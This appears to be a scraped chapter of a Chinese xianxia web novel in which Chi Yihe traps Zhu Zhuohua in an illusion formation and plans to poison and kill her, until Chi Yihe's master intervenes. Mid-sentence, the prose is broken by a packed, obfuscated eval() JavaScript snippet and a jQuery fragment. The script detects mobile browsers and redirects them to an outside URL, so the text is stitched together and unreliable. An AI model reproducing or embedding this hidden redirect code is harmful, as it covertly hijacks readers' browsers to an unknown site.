只见柳溱抬手释放灵力,周遭的雾气卷风袭来,迷惑视线的同时还携带着凉意刺脸。
祝灼华下意识抬手遮挡,但很快双手便被灵链捆绑在身后,脚下站在法阵中央,动弹不得。
雾气渐渐散去,祝灼华的周围也不再是迷雾笼罩的瘴林了,而是一片遥无边际的幻境。
祝灼华挣扎无果,抬眸看着不远处站在这白茫茫一片之中的柳溱与池意禾。
若是依靠柳溱的灵力,还不足以布下具有空间的法阵,想来也只能是利用某种仙器将柳掌门的法阵复现在这里了。
这也难怪她丝毫没发觉自己早已入阵…
“这法阵困不住我的。”
祝灼华微微直起身来,她平静地看着对方。
想要发挥出法阵原有的威力,也得有相对应的灵力支撑才行,柳溱灵力欠缺,自然无法困住祝灼华太久。
池意禾怎会不清楚柳溱的实力,她闻言并没有太多讶异,泰然自若道:“能困住你一会也足够了。”
柳溱的表情看上去并不好,她紧抿着唇站在池意禾的身后,颤着眸光不太敢看祝灼华。
池意禾从空间戒中取出一瓶丹药,她顺手摇了摇,听着瓶中发出的闷响,缓步朝祝灼华走去。
“那是什么?”柳溱皱眉问道。
被迫暂停步伐的池意禾侧身回来,她看着柳溱颇为复杂的神情,似乎对她的反应早有预料。
“让她变成堕灵的毒药。”说着池意禾往旁站了一步,露出了身后的祝灼华。
祝灼华当初当众说出的秘密,竟就这样被人利用,而且这人还是柳溱一直引以为傲的朋友。
柳溱一脸不可置信,她迟疑地问:“可是,你不是说,只是想和她好好谈谈么…”
只要是池意禾的请求,柳溱几乎从未拒绝过,她本该对朋友无条件支持的,可眼下,这做法已不再是她印象中的意禾姐会做出的事…
池意禾闻言反倒扬了扬嘴角:“有什么好说的呢?只要她不存在了,所有的一切都可以回到最初的模样。”
祝灼华总算听明白池意禾为何要将她骗来此处了,依照她对疫毒的在意程度,只要有任何消息,她肯定是会前去一探究竟的。
可要怎么才能让祝灼华相信这个假消息呢,那便是越神秘越好,再加上祁珣对伙伴们的信任,祝灼华自然不会多想。
而这一切的目的也只是想让祝灼华重新沾染上堕灵的气息,陷害成功后,她们也可以推脱是在这瘴林中不小心被心术不正的堕灵附身,趁她神智不清时,从而合力击杀。
看来她这条命还是有人想要…
“意禾姐…”柳溱无论如何也想不到这句话会从池意禾口中说出来,她以前就算再讨厌祝灼华,也只是想让对方远离他们而已。
但平时喜怒不形于色的池意禾,怎会有这么危险的想法。
柳溱面容上的震惊之意太过明显,池意禾只好先将对方掌心之上的仙器夺过来。
没等柳溱反应过来,池意禾已经将她束缚在原地了。
“意禾姐!”柳溱扭身却发现动弹不得,脸色如临大敌般,“你…你这是要做什么,你快松开我啊…”
显然池意禾并不想再耽误时间了,她眉头微蹙,直截了当道:“我要杀了祝灼华,但显然,你不会跟我站在同一战线了。”
“杀…怎么会!意禾姐,你不是这样的人啊!祝姑娘她…她只是跟祁珣哥有一些共同话题罢了,她不是和小仙君在一起了么…对,她喜欢的是小仙君啊。”
池意禾似笑非笑:“你不也讨厌她么?你不是也依旧钦慕着小仙君么?”
“我…”柳溱浑身轻颤,她头晕眼花地瞥了眼祝灼华此时的神情,却什么也没看清,她紧紧咬着唇,无言以对。
“凭什么她什么都可以拥有…”池意禾嚅嗫着什么,又忽地抬眸。
“共同话题?哈…这个词本该用在我和祁珣之间的,明明一直以来都是如此…为什么,为什么她出现后,祁珣的目光就一直放在她身上了!”
池意禾与柳溱在争吵的时候,祝灼华一直潜心摸索着法阵的阵眼,不愧是柳掌门落成的法阵,这对于祝灼华来说,还是有些太困难了。
但当她听见池意禾的话,动作却停了下来:“池意禾,那你有没有想过,你将我困在这里,被祁珣知道了,他又会作何想?”
池意禾与柳溱的对话戛然而止,前者转过身来看着祝灼华,淡淡嗤了声,她摇了摇头:“他不会知道是我做的。”
她似乎觉得什么事情荒唐得好笑般,那张淡雅的脸庞上竟出乎意料得浮现了一抹怪异的笑容。
“祝灼华,你以为就我一个人想要你的命么?”
祝灼华抿唇不语,听见这话后却不自觉地皱起了眉,难道徐则光即使关在昭芫宗,也依旧执着地想要她的命吗?
…
与此同时,祁珣与银朱也终于发现祝灼华的确是走散了。
银朱喊停了四处呼喊的祁珣,她沉着一张脸靠近,努力压制着内心的不安,“祁珣公子,你可否有褚公子的音讯?就是用那留音玉器给褚公子报个信…”
祁珣眸底划过一抹自愧,他咬了咬后槽牙:“抱歉,褚公子的音讯,或许只有祝灼华她能联系上…”
见银朱肉眼可见地急躁起来,祁珣立马掏出了留音玉器,安慰道:“不过我可以拜托其他人联系褚公子。”
但祁珣一时忘了,这里是瘴林,灵力最是稀薄的地方之一,常有发生留音玉器失效的时候。
“这里消息传不出去,若是要联系外界,我们得先走出这里才行。”祁珣摇了摇头,示意银朱看他手中并不灵验的留音玉器。
两人纠结了片刻,终是决定先走出瘴林,联系到外界后,再重新进来寻找祝灼华。
池意禾的脚步在逐渐靠近,祝灼华似乎今天才看清藏匿在那一片冷静的容颜下,有着怎样的执着。
祝灼华偏垂了些头颅,看着池意禾的双眸,淡淡道:“你并不是想要祁珣对你的心意吧?”
“…你在说什么。”池意禾蹙着眉心停下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501819|158555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
步伐。
“你在意的只是祁珣一如既往放在你身上的视线,却在某一天被旁人吸引了过去,池意禾,你不满的其实是自己不再是唯一那个被众人仰望的人了。”
习惯性地被众人钦佩仰望,习惯性地被人看重,也习惯性地被人寄予厚望,常居高位,必承其重,祝灼华又怎会不明白呢。
修炼路上最忌乱了道心。
池意禾出身矜贵,不仅天赋异禀,更有尤镜音这样的独具慧眼的师父,她的修炼之路可谓是前途无量。
她并不是怕自己不能追赶上别人的步伐,而是怕自己辜负了别人、师父、她自己的期望…
这也是为什么,池意禾当初与她说的第一句话是夸赞她很厉害了。
只是池意禾不愿将心里的那点不安归于不自信,这才披上了重重的外衣,连自己都模糊了缘由,将祁珣作为了所有情绪的出口。
池意禾垂下了手臂,她紧蹙着眉看向祝灼华,心里最不堪的想法被人说出来,池意禾神情闪过一丝恼怒。
“祝灼华,你已经拥有了那些目光,自然可以冠冕堂皇地说这些话,可你没资格评判我。”
“你不用再拖延时间了,我不会改变主意的。虽然我不知道为什么祁珣在知道了你的目的后,也依旧任你利用,但只要今日一过,他会变成从前模样的。”
祝灼华本不抱希望了,却在听见最后一句话忽然抬头道:“我是不是还没告诉过你,祁珣与我是表亲?”
这下轮到池意禾呆愣在原地了,她似乎没理解这个词出现在他们俩之间的理由。
“我的娘亲,是祁珣的姑姑,如此说来,之前还得感谢你告诉了祁珣我要前往人界祁府,坦白之后,我与祁珣便不再是利用关系了。”
池意禾陷入沉思之际,整个幻境忽然开始震动起来,饶是被阵法牢牢困在原地的祝灼华,也避免不了东倒西歪的,
更别说其他人了,柳溱与池意禾对这场晃动毫无预料,在重重摔向地面时,一道醇和的萧音携风而来,及时挽救回来两人。
幻境被人破开一道裂隙,尤镜音的身影浮动在迷雾之前。
“师父?”池意禾的发尾略显凌乱,即使是背对着她,祝灼华也能从这声中听出对方此时有多诧异。
柳溱即使是被灵力扶正,也仍在看清来者后,腿软似地滑坐了下来,她大松了一口气。
终于,她之前留给尤掌门的信,还是派上了用场。
倘若只是前来给祝灼华找不痛快,柳溱大可不必心生疑虑,可偏偏池意禾要求她从柳不絮那偷来法阵,并说自有用处。
做事掩人耳目,一向不是池意禾做派。
柳溱就是再信任她,也得留个心眼。
于是她在池意禾的房外不小心留下了一张符咒,当时只对池意禾说是近日偷学的,其实是她曾经从幽蒲小巷里淘来稀奇古怪的寻人符。
在幻境里耽搁了这么久,寻人符早已到了时效,先一步寻尤掌门去了。
“意禾,我来得还不算太晚吧。”